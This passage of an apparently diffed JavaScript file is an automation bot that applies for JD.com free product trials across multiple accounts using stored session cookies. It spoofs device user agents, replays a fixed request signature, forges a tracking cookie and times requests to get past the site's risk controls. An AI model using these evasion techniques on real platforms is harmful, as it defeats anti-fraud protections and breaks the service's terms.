例如A商品的名字为『旺仔牛奶48瓶特价』,白名单其中一个关键词是『牛奶』,那么A将会直接被添加到待提交试用组,不再进行另外判断 + * 就算设置了黑名单也不会判断,希望这种写得那么清楚的脑瘫问题就别提issues了 + * 可通过环境变量控制:JD_TRY_WHITELIST,用@分隔 + * */ + whiteListKeywords: process.env.JD_TRY_WHITELISTKEYWORDS && process.env.JD_TRY_WHITELISTKEYWORDS.split('@') || [], + /* + * 每多少个账号发送一次通知,默认为4 + * 可通过环境变量控制 JD_TRY_SENDNUM + * */ + sendNum: process.env.JD_TRY_SENDNUM * 1 || 4, +} +//上面很重要,遇到问题请把上面注释看一遍再来问 +!(async() => { + await $.wait(500) + // 如果你要运行京东试用这个脚本,麻烦你把环境变量 JD_TRY 设置为 true + if (1) { + await requireConfig() + if (!$.cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + args_xh.tabId = args_xh.tabId.sort(() => 0.5 - Math.random()) + for (let i = 0; i < $.cookiesArr.length; i++) { + if ($.cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + //await totalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + $.except = false; + if(args_xh.except.includes($.UserName)){ + console.log(`跳过账号:${$.nickName || $.UserName}`) + $.except = true; + continue + } + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + continue + } + $.totalTry = 0 + $.totalSuccess = 0 + $.nowTabIdIndex = 0; + $.nowPage = 1; + $.nowItem = 1; + $.retrynum = 0 + $.jda='__jda='+_jda('1xxxxxxxx.164xxxxxxxxxxxxxxxxxxx.164xxxxxxx.165xxxxxx.165xxxxxx.1xx') + if (!args_xh.unified) { + trialActivityIdList = [] + trialActivityTitleList = [] + } + $.isLimit = false; + // 获取tabList的,不知道有哪些的把这里的注释解开跑一遍就行了 + //await try_tabList(); + // return; + $.isForbidden = false + $.wrong = false + size = 1 + + while(trialActivityIdList.length < args_xh.maxLength && $.retrynum < 3){ + if($.nowTabIdIndex === args_xh.tabId.length){ + console.log(`tabId组已遍历完毕,不在获取商品\n`); + break; + } else { + await try_feedsList(args_xh.tabId[$.nowTabIdIndex], $.nowPage) //获取对应tabId的试用页面 + } + if(trialActivityIdList.length < args_xh.maxLength){ + console.log(`间隔等待中,请等待 3 秒\n`) + await $.wait(3000); + } + } + if ($.isForbidden === false && $.isLimit === false) { + console.log(`稍后将执行试用申请,请等待 2 秒\n`) + await $.wait(2000); + for(let i = 0; i < trialActivityIdList.length && $.isLimit === false; i++){ + if($.isLimit){ + console.log("试用上限") + break + } + await try_apply(trialActivityTitleList[i], trialActivityIdList[i]) + //console.log(`间隔等待中,请等待 ${args_xh.applyInterval} ms\n`) + const waitTime = generateRandomInteger(args_xh.applyInterval, 30000); + console.log(`随机等待${waitTime}ms后继续`); + await $.wait(waitTime); + } + console.log("试用申请执行完毕...") + // await try_MyTrials(1, 1) //申请中的商品 + $.giveupNum = 0; + $.successNum = 0; + $.getNum = 0; + $.completeNum = 0; + await try_MyTrials(1, 2) //申请成功的商品 + // await try_MyTrials(1, 3) //申请失败的商品 + await showMsg() + } + } + if($.isNode()){ + if($.index % args_xh.sendNum === 0){ + $.sentNum++; + console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${args_xh.sendNum}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } + if($.isNode() && $.except === false){ + if(($.cookiesArr.length - ($.sentNum * args_xh.sendNum)) < args_xh.sendNum && notifyMsg.length != 0) { + console.log(`正在进行最后一次发送通知,发送数量:${($.cookiesArr.length - ($.sentNum * args_xh.sendNum))}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } else { + console.log(`\n您未设置变量export JD_TRY="true"运行【京东试用】脚本, 结束运行!\n`) + } +})().catch((e) => { + console.error(`❗️ ${$.name} 运行错误!\n${e}`) +}).finally(() => $.done()) + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + for(let keyWord of $.innerKeyWords) args_xh.titleFilters.push(keyWord) + console.log(`共${$.cookiesArr.length}个京东账号\n`) + if(args_xh.env){ + console.log('=====环境变量配置如下=====') + console.log(`env: ${typeof args_xh.env}, ${args_xh.env}`) + console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) + console.log(`totalPages: ${typeof args_xh.totalPages}, ${args_xh.totalPages}`) + console.log(`unified: ${typeof args_xh.unified}, ${args_xh.unified}`) + console.log(`jdPrice: ${typeof args_xh.jdPrice}, ${args_xh.jdPrice}`) + console.log(`tabId: ${typeof args_xh.tabId}, ${args_xh.tabId}`) + console.log(`titleFilters: ${typeof args_xh.titleFilters}, ${args_xh.titleFilters}`) + console.log(`trialPrice: ${typeof args_xh.trialPrice}, ${args_xh.trialPrice}`) + console.log(`minSupplyNum: ${typeof args_xh.minSupplyNum}, ${args_xh.minSupplyNum}`) + console.log(`applyNumFilter: ${typeof args_xh.applyNumFilter}, ${args_xh.applyNumFilter}`) + console.log(`applyInterval: ${typeof args_xh.applyInterval}, ${args_xh.applyInterval}`) + console.log(`maxLength: ${typeof args_xh.maxLength}, ${args_xh.maxLength}`) + console.log(`passZhongCao: ${typeof args_xh.passZhongCao}, ${args_xh.passZhongCao}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`whiteList: ${typeof args_xh.whiteList}, ${args_xh.whiteList}`) + console.log(`whiteListKeywords: ${typeof args_xh.whiteListKeywords}, ${args_xh.whiteListKeywords}`) + console.log('=======================') + } + resolve() + }) +} + +//获取tabList的,如果不知道tabList有哪些,跑一遍这个function就行了 +function try_tabList() { + return new Promise((resolve, reject) => { + console.log(`获取tabList中...`) + const body = JSON.stringify({ + "version": 2, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_tabList', body) + $.post(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + if (data.success) { + for (let tabId of data.data.tabList) console.log(`${tabId.tabName} - ${tabId.tabId}`) + } else { + console.log("获取失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +//获取商品列表并且过滤 By X1a0He +function try_feedsList(tabId, page) { + return new Promise((resolve, reject) => { + const body = JSON.stringify({ + "tabId": `${tabId}`, + "page": page, + "version": 2, + "source": "default", + "client": "app", + //"previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_feedsList', body) + $.post(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + console.log(`请求失败,第 ${$.retrynum+1} 次重试`) + $.retrynum++ + if($.retrynum === 3) {$.isForbidden = true;$.log('多次尝试失败,换个时间再试!')} + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + let tempKeyword = ``; + if (data.data) { + $.nowPage === args_xh.totalPages ? $.nowPage = 1 : $.nowPage++; + console.log(`第 ${size++} 次获取试用商品成功,tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页`) + console.log(`获取到商品 ${data.data.feedList.length} 条`) + for (let item of data.data.feedList) { + if (item.applyNum === null) { + args_xh.printLog ? console.log(`商品未到申请时间:${item.skuTitle}\n`) : '' + continue + } + if (trialActivityIdList.length >= args_xh.maxLength) { + console.log('商品列表长度已满.结束获取') + break + } + if (item.applyState === 1) { + args_xh.printLog ? console.log(`商品已申请试用:${item.skuTitle}\n`) : '' + continue + } + if (item.applyState !== null) { + args_xh.printLog ? console.log(`商品状态异常,未找到skuTitle\n`) : '' + continue + } + if (args_xh.passZhongCao) { + $.isPush = true; + if (item.tagList.length !== 0) { + for (let itemTag of item.tagList) { + if (itemTag.tagType === 3) { + args_xh.printLog ? console.log('商品被过滤,该商品是种草官专属') : '' + $.isPush = false; + break; + } else if(itemTag.tagType === 5){ + args_xh.printLog ? console.log('商品被跳过,该商品是付费试用!') : '' + $.isPush = false; + break; + } + } + } + } + if (item.skuTitle && $.isPush) { + args_xh.printLog ? console.log(`检测 tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页 第 ${$.nowItem++ + 1} 个商品\n${item.skuTitle}`) : '' + if (args_xh.whiteList) { + if (args_xh.whiteListKeywords.some(fileter_word => item.skuTitle.includes(fileter_word))) { + args_xh.printLog ? console.log(`商品白名单通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } else { + tempKeyword = ``; + if (parseFloat(item.jdPrice) <= args_xh.jdPrice) { + args_xh.printLog ? console.log(`商品被过滤,商品价格 ${item.jdPrice} < ${args_xh.jdPrice} \n`) : '' + } else if (parseFloat(item.supplyNum) < args_xh.minSupplyNum && item.supplyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,提供申请的份数小于预设申请的份数 \n`) : '' + } else if (parseFloat(item.applyNum) > args_xh.applyNumFilter && item.applyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,已申请人数大于预设的${args_xh.applyNumFilter}人 \n`) : '' + } else if (item.jdPrice === null) { + args_xh.printLog ? console.log(`商品被过滤,商品无价,不能申请 \n`) : '' + } else if (parseFloat(item.trialPrice) > args_xh.trialPrice) { + args_xh.printLog ? console.log(`商品被过滤,商品试用价大于预设试用价 \n`) : '' + } else if (args_xh.titleFilters.some(fileter_word => item.skuTitle.includes(fileter_word) ? tempKeyword = fileter_word : '')) { + args_xh.printLog ? console.log(`商品被过滤,含有关键词 ${tempKeyword}\n`) : '' + } else { + args_xh.printLog ? console.log(`商品通过,加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + if (trialActivityIdList.indexOf(item.trialActivityId) === -1){ + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } + } + } else if ($.isPush !== false) { + console.error('skuTitle解析异常') + return + } + } + console.log(`当前试用组长度为:${trialActivityIdList.length}`) + //args_xh.printLog ? console.log(`${trialActivityIdList}`) : '' + if (page >= args_xh.totalPages && $.nowTabIdIndex < args_xh.tabId.length) { + //这个是因为每一个tab都会有对应的页数,获取完如果还不够的话,就获取下一个tab + $.nowTabIdIndex++; + $.nowPage = 1; + $.nowItem = 1; + } + $.retrynum = 0 + } else { + console.log(`💩 获得试用列表失败: ${data.message}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_apply(title, activityId) { + return new Promise((resolve, reject) => { + console.log(`申请试用商品提交中...`) + args_xh.printLog ? console.log(`商品:${title}`) : '' + args_xh.printLog ? console.log(`id为:${activityId}`) : '' + const body = JSON.stringify({ + "activityId": activityId, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_apply', body) + $.get(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + $.totalTry++ + data = JSON.parse(data) + if (data.success && data.code === "1") { // 申请成功 + console.log("申请提交成功") + $.totalSuccess++ + } else if (data.code === "-106") { + console.log(data.message) // 未在申请时间内! + } else if (data.code === "-110") { + console.log(data.message) // 您的申请已成功提交,请勿重复申请… + } else if (data.code === "-120") { + console.log(data.message) // 您还不是会员,本品只限会员申请试用,请注册会员后申请! + } else if (data.code === "-167") { + console.log(data.message) // 抱歉,此试用需为种草官才能申请。查看下方详情了解更多。 + } else if (data.code === "-131") { + console.log(data.message) // 申请次数上限。 + $.isLimit = true; + } else if (data.code === "-113") { + console.log(data.message) // 操作不要太快哦! + } else { + console.log("申请失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_MyTrials(page, selected) { + return new Promise((resolve, reject) => { + switch (selected) { + case 1: + console.log('正在获取已申请的商品...') + break; + case 2: + console.log('正在获取申请成功的商品...') + break; + case 3: + console.log('正在获取申请失败的商品...') + break; + default: + console.log('selected错误') + } + let options = { + url: URL, + body: `appid=newtry&functionId=try_MyTrials&clientVersion=10.3.4&client=wh5&body=%7B%22page%22%3A${page}%2C%22selected%22%3A${selected}%2C%22previewTime%22%3A%22%22%7D`, + headers: { + 'origin': 'https://prodev.m.jd.com', + 'User-Agent': 'jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'referer': 'https://prodev.m.jd.com/', + 'cookie': $.cookie+$.jda + }, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success) { + //temp adjustment + if (selected === 2) { + if (data.success && data.data) { + for (let item of data.data.list) { + item.status === 4 || item.text.text.includes('试用资格已过期') ? $.giveupNum += 1 : '' + item.status === 2 && item.text.text.includes('试用资格将保留') ? $.successNum += 1 : '' + item.status === 2 && item.text.text.includes('请收货后尽快提交报告') ? $.getNum += 1 : '' + item.status === 2 && item.text.text.includes('试用已完成') ? $.completeNum += 1 : '' + } + console.log(`待领取 | 已领取 | 已完成 | 已放弃:${$.successNum} | ${$.getNum} | ${$.completeNum} | ${$.giveupNum}`) + } else { + console.log(`获得成功列表失败: ${data.message}`) + } + } + } else { + console.error(`ERROR:try_MyTrials`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function taskurl_xh(appid, functionId, body = JSON.stringify({})) { + return { + "url": `${URL}?appid=${appid}&functionId=${functionId}&clientVersion=10.3.4&client=wh5&body=${encodeURIComponent(body)}&h5st=20220722121040045%3B9421011440284653%3Ba8ade%3Btk02wc1be1c1818nImmWYyJpQbdlQKevRRwnfH9j6FYPxZraJFFaTc74KP%2F6zXmRHA%2Bb1%2FlrvS60uWUfeCcXA5odZNg5%3B793d2cd94263363f67c9f610642b2e1078a70425fa792b2aacd491161a64b90b%3B3.1%3B1658463040045%3B62f4d401ae05799f14989d31956d3c5f0a269d1342e4ecb6ab00268fc69555cdc3295f00e681fd72cd76a48b9fb3faf3579d80b37c85b023e9e8ba94d8d2b852b9cbef42726bbe41ffd8c74540f4a1ced584468ba9e46bfbef62144b678f5532e02456edc95e6131cb12c2dd5fa5c6c034d2be6091a30ab76acf5da1cf34ef7451e044c9f9f9ce19cc0279b5846e0d92`, + 'headers': { + 'Cookie': $.cookie + $.jda, + 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': 'https://prodev.m.jd.com/', + 'origin': 'https://prodev.m.jd.com/', + 'Accept': 'application/json,text/plain,*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + }, + } + + } + +async function showMsg() { + let message = ``; + message += `👤 京东账号${$.index} ${$.nickName || $.UserName}\n`; + if ($.totalSuccess !== 0 && $.totalTry !== 0) { + message += `🎉 本次提交申请:${$.totalSuccess}/${$.totalTry}个商品🛒\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } else { + message += `⚠️ 本次执行没有申请试用商品\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } + if (!args_xh.jdNotify || args_xh.jdNotify === 'false') { + $.msg($.name, ``, message, { + "open-url": 'https://try.m.jd.com/user' + }) + if ($.isNode()) + notifyMsg += `${message}` + } else { + console.log(message) + } +} + +function totalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function _jda(format = 'xxxxxxxxxxxxxxxxxxxx') { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 10 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + jdaid = v.toString() + return jdaid; + }); +} + const generateRandomInteger = (min, max = 0) => { + if (min > max) { + let temp = min; + min = max; + max = temp; + } + var Range = max - min; + var Rand = Math.random(); + return min + Math.round(Rand * Range); + }; + + function getExtract(array) { + const random = (min, max) => Math.floor(Math.random() * (max - min) + min); + let index=random(0, array.length); + return array.splice(index, 1); +} + +function Env(name, opts) { + class Http { + constructor(env) { + this.env = env + } + + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { + url: opts + } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + return new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + } + + get(opts) { + return this.send.call(this.env, opts) + } + + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } + + return new (class { + constructor(name, opts) { + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } + + isNode() { + return 'undefined' !== typeof module && !!module.exports + } + + isQuanX() { + return 'undefined' !== typeof $task + } + + isSurge() { + return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon + } + + isLoon() { + return 'undefined' !== typeof $loon + } + + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } + + toStr(obj, defaultValue = null) { + try { + return JSON.stringify(obj) + } catch { + return defaultValue + } + } + + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch { } + } + return json + } + + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } + + getScript(url) { + return new Promise((resolve) => { + this.get({ + url + }, (err, resp, body) => resolve(body)) + }) + } + + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + } + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } + + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } + + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } + + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path.slice(0, -1).reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ + path[path.length - 1] + ] = value + return obj + } + + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } + + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } + + getval(key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(key) + } else if (this.isQuanX()) { + return $prefs.valueForKey(key) + } else if (this.isNode()) { + this.data = this.loaddata() + return this.data[key] + } else { + return (this.data && this.data[key]) || null + } + } + + setval(val, key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(val, key) + } else if (this.isQuanX()) { + return $prefs.setValueForKey(val, key) + } else if (this.isNode()) { + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + } else { + return (this.data && this.data[key]) || null + } + } + + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { + opts.cookieJar = this.ckjar + } + } + } + + get(opts, callback = () => { }) { + if (opts.headers) { + delete opts.headers['Content-Type'] + delete opts.headers['Content-Length'] + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.get(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + this.got(opts).on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + post(opts, callback = () => { }) { + // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 + if (opts.body && opts.headers && !opts.headers['Content-Type']) { + opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' + } + if (opts.headers) delete opts.headers['Content-Length'] + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.post(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + opts.method = 'POST' + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + const { + url, + ..._opts + } = opts + this.got.post(url, _opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {*} fmt 格式化参数 + * + */ + time(fmt) { + let o = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + 'S': new Date().getMilliseconds() + } + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - 